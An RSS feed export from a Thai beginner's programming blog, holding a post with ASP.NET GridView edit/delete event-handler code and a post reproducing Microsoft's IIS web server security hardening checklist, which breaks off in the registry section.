<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Janbin : blog write experience of a freshy programmer</title>
	<atom:link href="http://janbin.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://janbin.wordpress.com</link>
	<description></description>
	<lastBuildDate>Sun, 01 Feb 2009 16:16:20 +0000</lastBuildDate>
	<language>th</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='janbin.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Janbin : blog write experience of a freshy programmer</title>
		<link>http://janbin.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://janbin.wordpress.com/osd.xml" title="Janbin : blog write experience of a freshy programmer" />
	<atom:link rel='hub' href='http://janbin.wordpress.com/?pushpress=hub'/>
		<item>
		<title>GridView Edit Delete</title>
		<link>http://janbin.wordpress.com/2009/01/31/gridview-edit-delete/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/gridview-edit-delete/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 20:14:06 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[GridView ServerControl .NET]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=29</guid>
		<description><![CDATA[CODE &#60;asp:GridView  ID=&#8221;gvListName&#8221; runat=&#8221;server&#8221; AutoGenerateColumns=&#8221;False&#8221; Width=&#8221;898&#8243; OnRowEditing=&#8221;gvListName_RowEditing&#8221; OnRowCancelingEdit=&#8221;gvListName_RowCancelingEdit&#8221; OnRowUpdating=&#8221;gvListName_RowUpdating&#8221; OnRowDeleting=&#8221;gvListName_RowDeleting&#8221; &#62; &#60;Columns &#62; &#60;asp:TemplateField HeaderText=&#8221;Name&#8221; &#62; &#60;ItemTemplate &#62; &#60;%#Eval(&#8220;Name&#8221;)%&#62;&#60;asp:HiddenField ID=&#8221;hddName&#8221; runat=&#8221;server&#8221; Value=&#8217;&#60;%#Eval(&#8220;Name&#8221;)%&#62;&#8217; /&#62; &#60;/ItemTemplate&#62; &#60;EditItemTemplate&#62; &#60;asp:TextBox ID=&#8221;txtName&#8221; runat=&#8221;server&#8221; /&#62; &#60;/EditItemTemplate&#62; &#60;/asp:TemplateField&#62; &#60;/asp:TemplateField&#62; &#60;asp:CommandField ButtonType=&#8221;Button&#8221; ShowEditButton=&#8221;true&#8221; ShowCancelButton=&#8221;true&#8221; HeaderText=&#8221;Edit&#8221;  /&#62; &#60;asp:CommandField ShowDeleteButton=&#8221;True&#8221; HeaderText=&#8221;Remove&#8221; ButtonType=&#8221;Button&#8221;/&#62; &#60;/Columns&#62; &#60;/asp:GridView&#62; โดยให้แยกออก เป็น 4 event ของ GridView ใหญ่ๆ 4 event ครับ OnRowEditing &#8212; &#62; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=29&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->&lt;asp:GridView  ID=&#8221;gvListName&#8221; runat=&#8221;server&#8221; AutoGenerateColumns=&#8221;False&#8221; Width=&#8221;898&#8243;<br />
OnRowEditing=&#8221;gvListName_RowEditing&#8221;<br />
OnRowCancelingEdit=&#8221;gvListName_RowCancelingEdit&#8221;<br />
OnRowUpdating=&#8221;gvListName_RowUpdating&#8221;<br />
OnRowDeleting=&#8221;gvListName_RowDeleting&#8221; &gt;</p>
<p>&lt;Columns &gt;<br />
&lt;asp:TemplateField HeaderText=&#8221;Name&#8221; &gt;<br />
&lt;ItemTemplate &gt;<br />
&lt;%#Eval(&#8220;Name&#8221;)%&gt;&lt;asp:HiddenField ID=&#8221;hddName&#8221; runat=&#8221;server&#8221; Value=&#8217;&lt;%#Eval(&#8220;Name&#8221;)%&gt;&#8217; /&gt;<br />
&lt;/ItemTemplate&gt;<br />
&lt;EditItemTemplate&gt;<br />
&lt;asp:TextBox ID=&#8221;txtName&#8221; runat=&#8221;server&#8221; /&gt;<br />
&lt;/EditItemTemplate&gt;<br />
&lt;/asp:TemplateField&gt;<br />
&lt;/asp:TemplateField&gt;<br />
&lt;asp:CommandField ButtonType=&#8221;Button&#8221; ShowEditButton=&#8221;true&#8221; ShowCancelButton=&#8221;true&#8221; HeaderText=&#8221;Edit&#8221;  /&gt;<br />
&lt;asp:CommandField ShowDeleteButton=&#8221;True&#8221; HeaderText=&#8221;Remove&#8221; ButtonType=&#8221;Button&#8221;/&gt;<br />
&lt;/Columns&gt;</p>
<p>&lt;/asp:GridView&gt;<!--c2--></div>
<p><!--ec2--></p>
<p>โดยให้แยกออก เป็น 4 event ของ GridView ใหญ่ๆ 4  event ครับ<br />
OnRowEditing &#8212; &gt; คือ event เมื่อตอน click edit ครับ เมื่อกดปุ่มนี้แล้วจะ generate ได้ออกมาเป็น Update button กับ Cancle button ครับ<br />
OnRowCancelingEdit &#8212; &gt;  คือ event เมื่อ ตอนกด cancle หลังจาก กด edit แล้ว ครับ<br />
OnRowUpdating  &#8212; &gt; คือ event เมื่อ ตอนกด update หนังจากกด edit แล้วครับ<br />
OnRowDeleting &#8212; &gt; คือ  event ตอนกด delete button น่ะครับ อยู่ columns สุดท้าย</p>
<p>ที่ event แรกให้ เขียน code เพื่อกำหนด index ที่ต้องการ edit ใน Grid View ครับ ดังนี้ครับ</p>
<p><!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->protected void gvListName_RowEditing(object sender, GridViewEditEventArgs e)<br />
{<br />
HiddenField hddName = (sender as GridView).Rows[e.NewEditIndex].FindControl(&#8220;hddName&#8221;) as HiddenField;</p>
<p>gvListName.EditIndex = e.NewEditIndex;</p>
<p>/*<br />
ทำการ bind data ใน Data Grid ใหม่อีกรอบ น่ะครับ<br />
*/</p>
<p>TextBox txtName = (sender as GridView).Rows[e.NewEditIndex].FindControl(&#8220;txtName&#8221;) as TextBox;<br />
txtName.Text =  hddName.value;</p>
<p>}<!--c2--></div>
<p><!--ec2--></p>
<p>ต่อมาก็ event แรกครับ เมื่อกด Cancle ครับ code ประมาณข้างล่างนี่ครับ</p>
<p><!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->protected void gvListName_RowCancelingEdit(object sender, GridViewCancelEditEventArgs e)<br />
{<br />
gvListName.EditIndex = -1;<br />
/*<br />
ทำการ bind data ใน Data Grid ใหม่อีกรอบ น่ะครับ<br />
*/<br />
}<!--c2--></div>
<p><!--ec2--></p>
<p>event ต่อมาก็ ตอน กด update ครับ  code ประมาณข้างล่างครับ</p>
<p><!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->protected void gvListName_RowUpdating(object sender, GridViewUpdateEventArgs e)<br />
{<br />
GridView gv = sender as GridView;</p>
<p>TextBox txtName = gv.Rows[gv.EditIndex].FindControl(&#8220;txtName&#8221;) as TextBox;</p>
<p>/*<br />
do code something here<br />
*/</p>
<p>e.Cancel = true;<br />
gvDateList.EditIndex = -1;<br />
/*<br />
ทำการ bind data ใน Data Grid ใหม่อีกรอบ น่ะครับ<br />
*/<br />
}<!--c2--></div>
<p><!--ec2--></p>
<p>event สุดท้ายก็ delete ครับ</p>
<p><!--c1--></p>
<div class="codetop">CODE</div>
<p><!--ec1-->protected void gvListName_RowDeleting(object sender, GridViewDeleteEventArgs e)<br />
{<br />
GridView gv = sender as GridView;<br />
TextBox txtName = gv.Rows[gv.EditIndex].FindControl(&#8220;txtName&#8221;) as TextBox;<br />
/*<br />
do code something here</p>
<p>and rebind data agin<br />
*/<br />
}</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/29/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=29&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/gridview-edit-delete/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>
	</item>
		<item>
		<title>How to Use This Checklist-Web Server</title>
		<link>http://janbin.wordpress.com/2009/01/31/how-to-use-this-checklist-web-server/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/how-to-use-this-checklist-web-server/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 20:07:59 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[CheckList WebServer]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=26</guid>
		<description><![CDATA[ตอน นี้ศึกษาเรื่อง Security อย่างเต็มรูปแบบไปเจอ Check list ของ Microsoft เอาไว้ติดตั้ง IIS Web Serverจำเป็นต้องตรวจสอบว่าตอนนี้Server เรามีช่องทางที่จะโดนhackได้ทางไหนบ้าง เข้าทำนองที่ว่ากันไว้ดีกว่าแก้ How to Use This Checklist This checklist is a companion to Chapter 16, &#8220;Securing Your Web Server.&#8221; Use it to help implement a secure Web server, or as a quick evaluation snapshot of the corresponding chapter. This checklist should evolve with [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=26&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div class="entrycontent">
<p><span style="font-size:x-small;">ตอน นี้ศึกษาเรื่อง Security อย่างเต็มรูปแบบไปเจอ Check list ของ Microsoft เอาไว้ติดตั้ง IIS Web Serverจำเป็นต้องตรวจสอบว่าตอนนี้Server เรามีช่องทางที่จะโดนhackได้ทางไหนบ้าง เข้าทำนองที่ว่ากันไว้ดีกว่าแก้</p>
<p></span></p>
<h2 class="dtH1"><a name="cl_secwebs_001"></a><span style="font-size:x-small;">How to Use This Checklist</span></h2>
<p><span style="font-size:x-small;">This checklist is a companion to Chapter 16, &#8220;Securing Your Web Server.&#8221; Use it to help implement a secure Web server, or as a quick evaluation snapshot of the corresponding chapter.</span></p>
<p><span style="font-size:x-small;">This checklist should evolve with steps that you discover to secure your Web server.</span></p>
<h2 class="dtH1"><a name="cl_secwebs_002"></a><span style="font-size:x-small;">Patches and Updates</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="8%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="92%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="8%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="92%"><span style="font-size:x-small;">MBSA is run on a regular interval to check for latest operating system and components updates. </span></td>
</tr>
<tr valign="top">
<td class="data" width="8%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="92%"><span style="font-size:x-small;">The latest updates and patches are applied for Windows, IIS server, and the .NET Framework. (These are tested on development servers prior to deployment on the production servers.)</span></td>
</tr>
<tr valign="top">
<td class="data" width="8%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="92%"><span style="font-size:x-small;">Subscribe to the Microsoft Security Notification Service at </span><a href="http://www.microsoft.com/technet/security/bulletin/notify.mspx"><span style="font-size:x-small;">http://www.microsoft.com/technet/security/bulletin/notify.asp</span></a><span style="font-size:x-small;">.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_003"></a><span style="font-size:x-small;">IISLockdown</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">IISLockdown has been run on the server.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">URLScan is installed and configured.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_004"></a><span style="font-size:x-small;">Services</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Unnecessary Windows services are disabled.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Services are running with least-privileged accounts.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">FTP, SMTP, and NNTP services are disabled if they are not required.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Telnet service is disabled.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">ASP .NET state service is disabled and is not used by your applications.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_005"></a><span style="font-size:x-small;">Protocols</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">WebDAV is disabled if not used by the application OR it is secured if it is required. For more information, see Microsoft Knowledge Base article 323470, &#8220;How To: Create a Secure WebDAV Publishing Directory.&#8221;</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">TCP/IP stack is hardened.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">NetBIOS and SMB are disabled (closes ports 137, 138, 139, and 445).</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_006"></a><span style="font-size:x-small;">Accounts</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Unused accounts are removed from the server.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Windows Guest account is disabled.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Administrator account is renamed and has a strong password..</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">IUSR_MACHINE account is disabled if it is not used by the application.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">If your applications require anonymous access, a custom least-privileged anonymous account is created.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">The anonymous account does not have write access to Web content directories and cannot execute command-line tools.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">ASP.NET process account is configured for least privilege. (This only applies if you are not using the default ASPNET account, which is a least-privileged account.)</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Strong account and password policies are enforced for the server.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Remote logons are restricted. (The &#8220;Access this computer from the network&#8221; user-right is removed from the Everyone group.)</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Accounts are not shared among administrators.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Null sessions (anonymous logons) are disabled.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Approval is required for account delegation.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Users and administrators do not share accounts.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">No more than two accounts exist in the Administrators group.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Administrators are required to log on locally OR the remote administration solution is secure.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_007"></a><span style="font-size:x-small;">Files and Directories</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Files and directories are contained on NTFS volumes.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Web site content is located on a non-system NTFS volume.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Log files are located on a non-system NTFS volume and not on the same volume where the Web site content resides.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">The Everyone group is restricted (no access to WINNTsystem32 or Web directories).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Web site root directory has deny write ACE for anonymous Internet accounts.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Content directories have deny write ACE for anonymous Internet accounts.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Remote IIS administration application is removed (WINNTSystem32InetsrvIISAdmin).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Resource kit tools, utilities, and SDKs are removed.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Sample applications are removed (WINNTHelpIISHelp, InetpubIISSamples).</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_008"></a><span style="font-size:x-small;">Shares</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">All unnecessary shares are removed (including default administration shares).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Access to required shares is restricted (the Everyone group does not have access).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Administrative shares (C$ and Admin$) are removed if they are not required (Microsoft Management Server (SMS) and Microsoft Operations Manager (MOM) require these shares).</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_009"></a><span style="font-size:x-small;">Ports</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Internet-facing interfaces are restricted to port 80 (and 443 if SSL is used).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Intranet traffic is encrypted (for example, with SSL) or restricted if you do not have a secure data center infrastructure.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_010"></a><span style="font-size:x-small;">Registry</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Remote registry access is restricted.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
